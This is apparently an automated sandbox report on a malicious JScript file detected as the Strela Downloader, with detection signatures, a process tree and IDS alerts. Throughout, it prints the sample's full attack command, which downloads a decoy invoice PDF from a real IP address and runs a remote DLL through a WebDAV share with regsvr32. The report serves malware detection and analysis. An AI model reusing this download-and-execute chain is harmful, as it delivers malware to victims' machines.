Edit tour

Windows Analysis Report
16042278381135117219.js

Overview

General Information

Sample name:	16042278381135117219.js
Analysis ID:	1588622
MD5:	c5f2a5c72037d0a49613caa2ca8b0583
SHA1:	53e328d2009c8d774b8f8cbe64e4bdf1ac92daa3
SHA256:	884d85472f4bf2fc8e6a6ab490e99a7719ba73b5396b6b2684899b77da60d44b
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7548 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7600 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7652 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7840 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,15640695230729667418,10940420248813327185,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7856 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7884 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8116 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7548	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ProcessId: 7548, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7884, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ProcessId: 7548, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7652, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7856, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7884, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8116, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7856, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7884, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7548, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll, ProcessId: 7600, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:17:53.833354+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:17:56.603279+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:17:53.833354+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16042278381135117219.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16042278381135117219.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:17:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
